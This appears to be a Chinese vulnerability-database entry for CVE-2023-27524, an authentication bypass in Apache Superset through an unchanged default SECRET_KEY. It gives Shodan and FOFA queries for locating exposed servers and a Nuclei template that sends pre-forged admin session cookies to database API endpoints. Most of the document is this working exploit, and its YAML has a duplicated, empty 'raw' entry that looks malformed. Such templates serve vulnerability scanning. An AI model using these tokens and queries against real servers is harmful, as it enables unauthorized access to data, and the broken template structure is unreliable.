Apache Superset Authentication Bypass

漏洞信息

漏洞名称： Apache Superset Authentication Bypass

漏洞编号：

• CVE： CVE-2023-27524

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： Apache Superset是一个开源的数据可视化和数据探索平台，广泛用于企业级数据分析和业务智能报告。它支持多种数据源，提供丰富的图表类型和交互式仪表板，是许多组织数据可视化解决方案的核心组件。该漏洞影响版本至2.0.1及以下，主要由于默认配置中的SECRET_KEY未更改，导致会话验证攻击成为可能。攻击者可以利用此漏洞绕过认证机制，未授权访问敏感信息和资源。技术上讲，这是由于安装后未按照安全建议修改默认的SECRET_KEY配置，使得攻击者能够伪造有效的会话令牌。此漏洞的严重性在于，它不需要任何用户交互或认证，攻击者可以远程利用此漏洞，获取系统访问权限，可能导致数据泄露、未授权操作等严重后果。对于未更改默认SECRET_KEY的Apache Superset实例，风险尤为突出。

产品厂商： Apache

产品名称： Superset

影响版本： <= 2.0.1

搜索语法： html:”Apache Superset” || http.favicon.hash:1582430156 || http.html:”apache superset” || body=”apache superset” || icon_hash=1582430156

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2023%2FCVE-2023-27524.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2023-27524

info:
  name: Apache Superset - Authentication Bypass
  author: DhiyaneshDK,_0xf4n9x_
  severity: critical
  description: Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Superset.
  reference:
    - https://github.com/horizon3ai/CVE-2023-27524
    - https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
    - http://packetstormsecurity.com/files/172522/Apache-Superset-2.0.0-Authentication-Bypass.html
    - http://www.openwall.com/lists/oss-security/2023/04/24/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27524
    cwe-id: CWE-1188
    epss-score: 0.82895
    epss-percentile: 0.99195
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 46
    vendor: apache
    product: superset
    shodan-query:
      - html:"Apache Superset"
      - http.favicon.hash:1582430156
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Apache Superset"
          - "superset"
        condition: or
        internal: true

  - raw:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session}}

    payloads:
      path:
        - '1'
        - '2'
        - '3'
        - '4'
        - '5'
        - '6'
        - '7'
        - '9'
        - '10'

      session:
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U'
    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"configuration_method":'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207f293e9006ce733f9cc002550b567ee843ce7744e981c1f81fd421eaff320d5702201c5ea2932d60e4289115e0d6e6947f8e74ab1a019d015ae92dc7d9f9fd535592:922c64590222798bb761d5b6d8e72950